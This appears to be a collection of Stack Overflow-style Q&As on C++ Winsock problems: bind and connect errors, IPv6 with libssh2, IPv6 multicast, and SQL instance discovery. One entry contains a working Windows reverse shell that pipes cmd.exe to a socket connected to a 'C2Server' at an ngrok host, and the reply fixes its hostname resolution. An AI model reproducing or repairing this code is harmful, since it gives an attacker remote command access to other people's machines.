Windows Socket unable to bind on VPN IP address - c++

I am trying to bind to particular IP which is over a VPN network and I am able to ping it, connect it and also able to telnet on particular port but my windows MFC program gives error code 10049 and I am not able to go further any help in debugging this problem will be appreciated, I am running this on Visual Studio 2012 Win 7 and remote client is running on Linux variant.
This is part of code where I am getting error basically IP address is configurable but I am hardcoding it to debug.
CStarDoc *p_doc = (CStarDoc*) lpparam;
BOOL fFlag = TRUE;
const int MAX_MSGLEN = max(sizeof(DISP_INFO_T ), sizeof(REASON_STRING_T ));
char buffer[MAX_MSGLEN];
DISP_INFO_T *p_disp_info_buffer = (DISP_INFO_T *) buffer;
DISP_INFO_T disp_info_combined; //receiving combined butter
DISP_INFO_T_1 *p_disp_info_buffer1; //receiving buffer pointer for DispInfo1
DISP_INFO_T_2 *p_disp_info_buffer2; //receiving buffer pointer for DispInfo2
int msgReceived = 0; // Initially, is 0.
// For the same msgNumber, when the program receives the first portion of buffer, set to 1,
// When the program receives both portions, set it to 0.
// When the program misses any portion for the same msgNumber, set to 0 also.
int currentMsgNum1 = 0;
int currentMsgNum2 = 0;
int err;
CString msg;
SOCKADDR_IN saUDPPortIn;
SOCKADDR_IN From;
struct addrinfo *result = NULL;
struct addrinfo *ptr = NULL;
struct addrinfo hints;
::memset( &hints,0, sizeof(hints) );
hints.ai_family = AF_UNSPEC;
//hints.ai_socktype = SOCK_DGRAM;
//hints.ai_protocol = IPPROTO_UDP;
char asideip[] = "192.168.1.129";
BOOL OtherSideIsStandby = FALSE;
static BOOL DoFirstMsg = TRUE;
// p_disp_info_combined = & disp_info_combined;
p_doc->ThreadRunning = TRUE;
p_doc->udpsocket = socket(AF_INET, SOCK_DGRAM, 0);
if (INVALID_SOCKET == p_doc->udpsocket)
{
CString msg = "Invalid socket: "+ WSAGetLastError();
AfxMessageBox(msg);
return(-1);
}
long ip = 0;
int sockbufsize = 0;
int timeout = 2000;
// This is the IP that matches the IP of the QNX machines in all but the last octet.
// Note: it is in host byte format.
int errcode = getaddrinfo(asideip,NULL,&hints,&result);
for(ptr = result;ptr != NULL ;ptr=ptr->ai_next)
{
switch (ptr->ai_family)
{
default: break;
case AF_INET :
ip = p_doc->MyIP;
saUDPPortIn.sin_family = AF_INET;
saUDPPortIn.sin_addr.s_addr = (((SOCKADDR_IN*) ptr->ai_addr)->sin_addr).s_addr;
saUDPPortIn.sin_port = htons(p_doc->port_addr );
int length = sizeof(buffer) *2;
//err = setsockopt(p_doc->udpsocket,SOL_SOCKET, SO_REUSEADDR, (char *)&fFlag, sizeof(fFlag));
//err = setsockopt(p_doc->udpsocket,SOL_SOCKET, SO_BROADCAST, (char *)&fFlag, sizeof(fFlag));
err = setsockopt(p_doc->udpsocket, SOL_SOCKET, SO_RCVBUF, (char *)&length, sizeof(length));
// Keep from hanging forever.
err = setsockopt(p_doc->udpsocket, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
err = bind(p_doc->udpsocket, (SOCKADDR FAR *)&saUDPPortIn, sizeof(SOCKADDR_IN));
if (err == SOCKET_ERROR)
{
int errcode = WSAGetLastError();
closesocket(p_doc->udpsocket);
/* msg.Format("Network Connectivity failed, Please Check Network. ");
AfxMessageBox(msg);
closesocket(p_doc->udpsocket);
p_doc->udpsocket = -1; // task is trying to attach to the port.
return(1);*/
}
}
}
Thanks

You can not bind to remote address and as your error shows, it is such case. You use bind system call with local IP and Port.
Here is what MSDN says about your error:
WSAEADDRNOTAVAIL 10049
Cannot assign requested address. The requested address is not valid in
its context. This normally results from an attempt to bind to an
address that is not valid for the local computer. This can also result
from connect, sendto, WSAConnect, WSAJoinLeaf, or WSASendTo when the
remote address or port is not valid for a remote computer (for
example, address or port 0).

Related

How to make C++ accept ngrok address?

I’ve created a simple C++ program that uses sockets to connect to my other machine. I don’t have windows pro so can’t open port 3389 and I don’t want to download other third party applications as I genuinely want to complete what I have finished.
I’m paying for an ngrok address in the format of: 0.tcp.ngrok.io:12345
The program works fine when using my private IP address - however when I use my ngrok address, it doesn’t work. I can still communicate to my machine via the ngrok address through other means, but it seems as if the program is not communicating with the address at all for some reason. I’m not sure if it’s something to do with the fact there are letters in the address? I don’t know - I’m really stuck on this. I’ll show the code below and I would really appreciate it if someone could tell me if there is something I should be doing to get this to work with the ngrok address - or if there is nothing wrong with it at all and it’s a problem with ngrok..
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void RunShell(char* C2Server, int C2Port) {
while(true) {
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL,
(unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server); //IP received from main function
addr.sin_port = htons(C2Port); //Port received from main function
//Connecting to Proxy/ProxyIP/C2Host
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL,
NULL)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo,
&pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
if (strcmp(RecvData, "exit\n") == 0) {
exit(0);
}
}
}
}
}
//-----------------------------------------------------------
//-----------------------------------------------------------
//-----------------------------------------------------------
int main(int argc, char **argv) {
if (argc == 3) {
int port = atoi(argv[2]); //Converting port in Char datatype to Integer format
RunShell(argv[1], port);
}
else {
char host[] = "0.tcp.ngrok.io";
int port = 12345;
RunShell(host, port);
}
return 0;
}
inet_addr() only works with strings in IP dotted notation, not with hostnames. So, inet_addr("0.tcp.ngrok.io") will fail and return -1 (aka INADDR_NONE), thus you are trying to connect to 255.255.255.255:12345. But it will work fine for something like inet_addr("196.168.#.#") (where # are numbers 0..255).
You need to use getaddrinfo() instead to resolve a hostname to an IP address, eg:
// you should do this only once per process, not per loop iteration...
WSADATA version;
if (WSAStartup(MAKEWORD(2,2), &version) != 0)
{
// error handling...
}
...
addrinfo hints = {}, *addrs;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
char portBuf[12] = {};
if (getaddrinfo(C2Server, itoa(C2Port, portBuf, 10), &hints, &addrs) != 0)
{
// error handling...
}
//Connecting to Proxy/ProxyIP/C2Host
SOCKET mySocket = INVALID_SOCKET;
for(addrinfo *addr = addrs; addr; addr = addr->ai_next)
{
mySocket = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
if (mySocket == INVALID_SOCKET)
continue;
if (connect(mySocket, addr->ai_addr, addr->ai_addrlen) == 0)
break;
closesocket(mySocket);
mySocket = INVALID_SOCKET;
}
freeaddrinfo(addrs);
if (mySocket == INVALID_SOCKET)
{
// error handling...
}
// use mySocket as needed...
closesocket(mySocket);
...
// you should do this only once per process, not per loop iteration...
WSACleanup();
Just note that because ngrok is an external cloud service, your ngrok hostname will resolve to your ngrok server's public Internet IP address, not its private IP address. If that server machine is behind a router/firewall, you will have to configure the router/firewall to port forward a public IP/port to the server's private IP/port.

LIBSSH2 C++ with dual stack IPv4 and IPv6

I am working on a C++ project that needs to establish a connection via SSH to a remote server and execute some commands and transfer files via SFTP. However, I need this application to work in dual stack mode (e.g., with IPv6 and IPv4) mode.
In the snippet below, my program initially receives an host-name, IPv6 or IPv4 address. In the IPv4 input the connection is successful. However, I am having strange problems in the IPv6 mode that I am noticing that the connection is established via socket and the SSH session fails to start.
Currently, I believe it could be something related to the inet_ntop() method. Please notice that remoteHost variable is an char* type and the remotePort is uint16_t type.
// Initialize some important variables
uint32_t hostaddr = 0, hostaddr6 = 0;
struct sockaddr_in sin = {};
struct sockaddr_in6 sinV6 = {};
int rc = 0, sock = 0, i = 0, auth_pw = 0;
// Here we will initialize our base class with username and password
this->username = usrName;
this->password = usrPassword;
// Firstly, we need to translate the hostname into an IPv4 or IPv6 address
struct addrinfo hints={}, *sAdrInfo = {};
char addrstr[100]={};
void *ptr= nullptr;
char addrParsed[50]={};
memset (&hints, 0, sizeof (hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags |= AI_CANONNAME;
// Now we need to get some address info from the one supplied that remoteHost parameter
int errcode = getaddrinfo (remoteHost, nullptr, &hints, &sAdrInfo);
if (errcode != 0) {
SERVER_ERROR("[SSH] Error while getaddrinfo at SSHConnect() code %d", errno);
return -4;
}
inet_ntop(sAdrInfo->ai_family, sAdrInfo->ai_addr->sa_data, addrstr, 100);
// Here we need to determine if we are using IPv6 or IPv4
switch (sAdrInfo->ai_family) {
case AF_INET6:
ptr = &((struct sockaddr_in6 *) sAdrInfo->ai_addr)->sin6_addr;
break;
case AF_INET:
ptr = &((struct sockaddr_in *) sAdrInfo->ai_addr)->sin_addr;
break;
}
inet_ntop(sAdrInfo->ai_family, ptr, addrstr, 100);
sprintf(addrParsed, "%s", addrstr);
//This part is responsible for creating the socket and establishing the connection
// Now if we have an IPv4 based host
if (sAdrInfo->ai_family == AF_INET) {
this->hostaddr = inet_addr(addrParsed);
sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
// Now we need to set these (address and port to our sockaddr_in variable sin)
sin.sin_port = htons(remotePort);
memcpy(&sin.sin_addr, &hostaddr, sizeof(hostaddr));
}
// Now if we have an IPv6 based host
else if (sAdrInfo->ai_family == AF_INET6) {
this->hostaddr6 = inet_addr(addrParsed);
sock = socket(AF_INET6, SOCK_STREAM, 0);
sin.sin_family = AF_INET6;
// Now we need to set these (address and port to our sockaddr_in variable sin)
sinV6.sin6_port = htons(remotePort);
memcpy(&sinV6.sin6_addr.s6_addr32, &hostaddr6, sizeof(this->hostaddr6));
}
// Now we need to connect to our socket :D
if (sAdrInfo->ai_family == AF_INET) {
int resCon = connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in));
if (resCon != 0){
SERVER_ERROR("[SSH] failed to connect with error code: %d!\n", errno);
return -1;
}
}
else if (sAdrInfo->ai_family == AF_INET6) {
int resCon = connect(sock, (struct sockaddr*)(&sinV6), sizeof(struct sockaddr_in6));
if (resCon != 0){
SERVER_ERROR("[SSH] failed to connect with error code: %d!\n", errno);
return -1;
}
}
// Free our result variables
freeaddrinfo(sAdrInfo);
// Create a session instance
session = libssh2_session_init();
if(!session) {
return -2;
}
/* Now to start the session. Here will trade welcome banners, exchange keys and setup crypto, compression,
* and MAC layers */
rc = libssh2_session_handshake(session, sock);
if(rc) {
SERVER_ERROR("Failure establishing SSH session: %d\n", rc);
return -3;
}
What is wrong with the implementation that is generating the "Failure establishing SSH session" message with IPv6 stack?
Best regards,

IPv6 multicast not working in LAN

I tried to send an IPv6 multicast packet through my network. The sending seems to work, since it arrives on the destination PC - at least it appears in the logged network traffic in WireShark. But it does not arrive in my server program. When I send a packet from the same PC that should receive it, it does work though.
This is the code for sending (removed error checking for better readability):
UDPBroadcastSocket = socket(PF_INET6, SOCK_DGRAM, IPPROTO_UDP);
BOOL Yes = 1;
setsockopt(UDPBroadcastSocket, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&Yes, sizeof(BOOL));
int32_t hops = 50;
setsockopt(UDPBroadcastSocket, IPPROTO_IPV6, IPV6_MULTICAST_HOPS, (char*)&hops, sizeof(hops));
uint32_t IF = 0;
setsockopt(UDPBroadcastSocket, IPPROTO_IPV6, IPV6_MULTICAST_IF, (char*)&IF, sizeof(IF));
struct sockaddr_in6 sock_in;
struct addrinfo *result = NULL;
struct addrinfo hints;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_protocol = IPPROTO_UDP;
hints.ai_flags = AI_NUMERICHOST;
getaddrinfo("FF18::1243", "12346", &hints, &result);
unsigned char buffer[MAXBUF];
int PacketSize = 8;
int sinlen = int(result->ai_addrlen);
memcpy(&sock_in, result->ai_addr, result->ai_addrlen);
freeaddrinfo(result);
sendto(UDPBroadcastSocket, (char*)buffer, PacketSize, 0, (sockaddr *)&sock_in, sinlen);
And this is the code for receiving the packet (removed error checking for better readability):
std::vector<uint32_t> GetNetworkInterfaceIndices(){
std::vector<uint32_t> Result;
/* Declare and initialize variables */
DWORD dwSize = 0;
DWORD dwRetVal = 0;
unsigned int i = 0;
// Set the flags to pass to GetAdaptersAddresses
ULONG flags = GAA_FLAG_INCLUDE_PREFIX;
// default to unspecified address family (both)
ULONG family = AF_UNSPEC;
LPVOID lpMsgBuf = NULL;
PIP_ADAPTER_ADDRESSES pAddresses = NULL;
ULONG outBufLen = 0;
ULONG Iterations = 0;
PIP_ADAPTER_ADDRESSES pCurrAddresses = NULL;
PIP_ADAPTER_UNICAST_ADDRESS pUnicast = NULL;
PIP_ADAPTER_ANYCAST_ADDRESS pAnycast = NULL;
PIP_ADAPTER_MULTICAST_ADDRESS pMulticast = NULL;
IP_ADAPTER_DNS_SERVER_ADDRESS *pDnServer = NULL;
IP_ADAPTER_PREFIX *pPrefix = NULL;
family = AF_INET6;
// Allocate a 15 KB buffer to start with.
outBufLen = WORKING_BUFFER_SIZE;
do {
pAddresses = (IP_ADAPTER_ADDRESSES *)MALLOC(outBufLen);
if (pAddresses == NULL) {
return{ 0 };
}
dwRetVal =
GetAdaptersAddresses(family, flags, NULL, pAddresses, &outBufLen);
if (dwRetVal == ERROR_BUFFER_OVERFLOW) {
FREE(pAddresses);
pAddresses = NULL;
}
else {
break;
}
Iterations++;
} while ((dwRetVal == ERROR_BUFFER_OVERFLOW) && (Iterations < MAX_TRIES));
if (dwRetVal == NO_ERROR) {
// If successful, output some information from the data we received
pCurrAddresses = pAddresses;
while (pCurrAddresses) {
Result.emplace_back(pCurrAddresses->IfIndex);
pCurrAddresses = pCurrAddresses->Next;
}
}
else {
return{ 0 };
}
if (pAddresses) {
FREE(pAddresses);
}
return Result;
}
UDPSocket = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
sockaddr_in6 UDP_Sock_in;
memset(&UDP_Sock_in, 0, sizeof(sockaddr_in6));
UDP_Sock_in.sin6_addr = in6addr_any;
UDP_Sock_in.sin6_port = htons(Settings::GetPort()+1);
UDP_Sock_in.sin6_family = PF_INET6;
setsockopt(UDPSocket, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&No, sizeof(BOOL));
bind(UDPSocket, (sockaddr*)&UDP_Sock_in, sizeof(UDP_Sock_in));
ipv6_mreq BroadcastGroup;
memset(&BroadcastGroup, 0, sizeof(ipv6_mreq));
const auto IfIndices = GetNetworkInterfaceIndices();
BroadcastGroup.ipv6mr_multiaddr.u.Byte[0] = 0xFF;
BroadcastGroup.ipv6mr_multiaddr.u.Byte[1] = 0x18;
BroadcastGroup.ipv6mr_multiaddr.u.Byte[14] = 0x12;
BroadcastGroup.ipv6mr_multiaddr.u.Byte[15] = 0x43;
for (const auto& Index : IfIndices) {
BroadcastGroup.ipv6mr_interface = Index;
setsockopt(UDPSocket, IPPROTO_IPV6, IPV6_ADD_MEMBERSHIP, (char*)&BroadcastGroup, sizeof(ipv6_mreq));
}
socklen_t fromLength = sizeof(sockaddr_in6);
pollfd PollFd;
PollFd.events = POLLIN;
PollFd.fd = UDPSocket;
PollFd.revents = -1;
WSAPoll(&PollFd, 1, -1);
recvfrom(UDPSocket, (char*)buffer, MAXBUF, 0, (sockaddr*)&from, &fromLength);
I basically tried specifying every single network interface index and the packet still does not arrive in the server. I have no idea what could be wrong. And why does it work when sender and receiver are on the same PC? I don't understand this. Does anyone have an idea? It's not the firewall, I turned it off and nothing changed. When I specify the IP address of the receiving PC directly, it does work, too.
I found a workaround: Simply switch to IPv4, because IPv6 multicast currently doesn't seem to work on Windows (at least in my use case, see comments). My code had worked, but stopped working some time ago and I didn't notice until I tested it again.
I tried a bunch of different addresses and apparently none of them worked on 3 different devices. Then I switched to IPv4 and it simply worked - I changed only the IPv6 related stuff to their IPv4 equivalent and removed the hops and interface options on the sender.
My receiver even appeared in the multicast groups list (which you can see using the command "netsh interface ipv6 show joins"), but still didn't receive the packets sent to its address, so I concluded that it likely is a bug, since every example code I found did not work for me and I could not find any other option for setsockopt that I could have missed. Feel free to comment if you have any idea what might have caused this problem or how to fix it without switching back to the old IPv4 standard.

Winsock connect() error 10051

I get an 10051 socket error every time I try to use this code:
USES_CONVERSION;
LPTSTR addr = A2W("192.168.1.209");
m_pSMACLPRCli = new CSMACLPRCli(addr, 12010, m_hWnd);
m_pSMACLPRCli->StartThread();
This is the constructor for m_pSMACLPRCli:
CSMACLPRCli::CSMACLPRCli(LPTSTR lpsztIPAddress, int nPort, HWND hParentWnd)
And this is how I create the socket and connect:
void CBlockingSocket::Create(int nType /* = SOCK_STREAM */)
{
ASSERT(m_hSocket == NULL);
if ((m_hSocket = socket(AF_INET, nType, 0)) == INVALID_SOCKET)
{
TRACE("\n Socket Error !1 (%d)\n", WSAGetLastError());
int err = WSAGetLastError();
}
}
BOOL CBlockingSocket::Connect(LPCSOCKADDR psa)
{
ASSERT(m_hSocket != NULL);
// should timeout by itself
if (connect(m_hSocket, psa, sizeof(SOCKADDR)) == SOCKET_ERROR)
{
int nLastErr = WSAGetLastError();
return FALSE;
}
return TRUE;
}
The real funny thing is that when I use the exact same code, class structure etc. in a VS2008 project, everything works as expected, but when I use it in a VS2010 project, at connect() I get a 10051 error, Network is unreachable.
EDIT: The original VS2010 proj. is compiled using UNICODE. I've made a new VS2010 using MULTI-BYTE for testing and the connect() method returns no error, and ... connects. Could it be something wrong with my way of passing the address string to the constructor?
USES_CONVERSION;
LPTSTR addr = A2W("192.168.1.209");
m_pSMACLPRCli = new CSMACLPRCli(addr, 12010, m_hWnd);
m_pSMACLPRCli->StartThread();
SOLVED:
The real problem was not the connect() method, but had to do with my way of passing the address string to a constructor of a sockaddr object.
The constructor:
CSockAddr(const char *pchIP, const USHORT ushPort = 0) // dotted IP addr string
{
sin_family = AF_INET;
sin_port = htons(ushPort);
sin_addr.s_addr = inet_addr(pchIP);
}
Constructor call used by me:
CString m_strSrvIPAddr;
CSockAddr saServer((char *) LPTSTR(LPCTSTR(m_strSrvIPAddr)), USHORT(m_nPort));
I changed the call to this:
CStringA strAddr(m_strSrvIPAddr);
CSockAddr saServer((const char *) strAddr, USHORT(m_nPort));
So I had to do a conversion of the string from UNICODE to MULTI_BYTE.
When calling connect(), you need to use sizeof(SOCKADDR_IN) or sizeof(SOCKADDR_IN6) depending on what psa is actually pointing at. I would suggest having the caller pass in the actual size value:
BOOL CBlockingSocket::Connect(LPCSOCKADDR psa, int sasize)
{
ASSERT(m_hSocket != INVALID_SOCKET);
// should timeout by itself
if (connect(m_hSocket, psa, sasize) == SOCKET_ERROR)
{
int nLastErr = WSAGetLastError();
return FALSE;
}
return TRUE;
}
SOCKADDR_IN sa;
...
Connect((LPSOCKADDR)&sa, sizeof(sa));
Alternatively, it would be better to use SOCKADDR_STORAGE and just type-cast it when passing it to connect():
BOOL CBlockingSocket::Connect(const SOCKADDR_STORAGE *psa)
{
ASSERT(m_hSocket != INVALID_SOCKET);
// should timeout by itself
if (connect(m_hSocket, (LPCSOCKADDR)psa, sizeof(SOCKADDR_STORAGE)) == SOCKET_ERROR)
{
int nLastErr = WSAGetLastError();
return FALSE;
}
return TRUE;
}
SOCKADDR_STORAGE sa;
...
Connect(&sa);
It seems that this problem is not related to your code or the development environment but rather to the network the computer is connected to.
The output of ipconfig will let you know your IP address and the subnet mask which will allow you to understand which network you belong to.
The 192.186.0.0 network is a local address (behind a NAT) and you will not be able to connect to an address on this network unless you are part of it. If your IP address does not start with 192.168 it is the cause for the error you're getting.

SQLBrowseConnect doesn't seem to enumerate servers on local domain

I am trying to enumerate local SQL instances using SQLBrowseConnect. Generally speaking, this is working fine, but we have one set up which results in an SQLExpress instance not being discovered. Here is the code in question:
SQLSetConnectAttr(hSQLHdbc,
SQL_COPT_SS_BROWSE_SERVER,
_T("(local)"),
SQL_NTS);
CString inputParam = _T("Driver={SQL Server}");
SQLBrowseConnect(hSQLHdbc,
inputParam,
SQL_NTS,
szConnStrOut,
MAX_RET_LENGTH,
&sConnStrOut);
In the failed instance, the code is running on a domain controller. The missing local instance of SQL is an SQLExpress instance (version 9). However, the puzzling thing is that running sqlcmd -L shows the missing instance without any problems.
Am I missing something really silly? Please remember that on other systems and set ups there is no issue.
After much investigation, I couldn't really find out what the problem was specifically. This one machine just would not discover its own instances of SQL using SQLBrowseConnect. I therefore decided to write my own version. Discovering SQL instances turns out to be pretty easy. You just send a broadcast UDP packet to port 1434 containing the payload 0x02 (1 byte) and wait for SQL servers to respond. They respond with one packet per server which details all the instances on that machine. The code required to do this is shown below:
// to enumerate sql instances we simple send 0x02 as a broadcast to port 1434.
// Any SQL servers will then respond with a packet containing all the information
// about installed instances. In this case we only send to the loopback address
// initialise
WSADATA WsaData;
WSAStartup( MAKEWORD(2,2), &WsaData );
SOCKET udpSocket;
struct sockaddr_in serverAddress;
if ((udpSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
{
return;
}
// set up the address
serverAddress.sin_family = AF_INET;
serverAddress.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
serverAddress.sin_port = htons(1434);
// the payload
char payload = 0x02;
// config the port for broadcast (not totally necessary right now but maybe in the future)
BOOL broadcast = TRUE;
setsockopt(udpSocket, SOL_SOCKET, SO_BROADCAST, reinterpret_cast<const char*>(&broadcast), sizeof(BOOL));
// receive address info
sockaddr_in RecvAddr;
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
sockaddr_in SenderAddr;
int SenderAddrSize = sizeof (SenderAddr);
// bind the socket to the receive address info
int iResult = bind(udpSocket, (SOCKADDR *) & RecvAddr, sizeof (RecvAddr));
if (iResult != 0)
{
int a = WSAGetLastError();
return;
}
if (sendto(udpSocket, &payload, 1, 0, (struct sockaddr *) &serverAddress, sizeof(serverAddress)) < 0)
{
int a = WSAGetLastError();
return;
}
// set up a select so that if we don't get a timely response we just bomb out.
fd_set fds ;
int n ;
struct timeval tv ;
// Set up the file descriptor set.
FD_ZERO(&fds) ;
FD_SET(udpSocket, &fds) ;
// Set up the struct timeval for the timeout.
tv.tv_sec = 5 ;
tv.tv_usec = 0 ;
// Wait until timeout or data received.
n = select ( (int)udpSocket, &fds, NULL, NULL, &tv ) ;
if ( n == 0)
{
// timeout
return;
}
else if( n == -1 )
{
// error
return;
}
// receive buffer
char RecvBuf[1024];
int BufLen = 1024;
memset(RecvBuf, 0, BufLen);
iResult = recvfrom(udpSocket,
RecvBuf,
BufLen,
0,
(SOCKADDR *) & SenderAddr,
&SenderAddrSize);
if (iResult == SOCKET_ERROR)
{
int a = WSAGetLastError();
return;
}
// we have received some data. However we need to parse it to get the info we require
if (iResult > 0)
{
// parse the string as required here. However, note that in my tests, I noticed
// that the first 3 bytes always seem to be junk values and will mess with string
// manipulation functions if not removed. Perhaps this is why SQLBrowseConnect
// was having problems for me???
}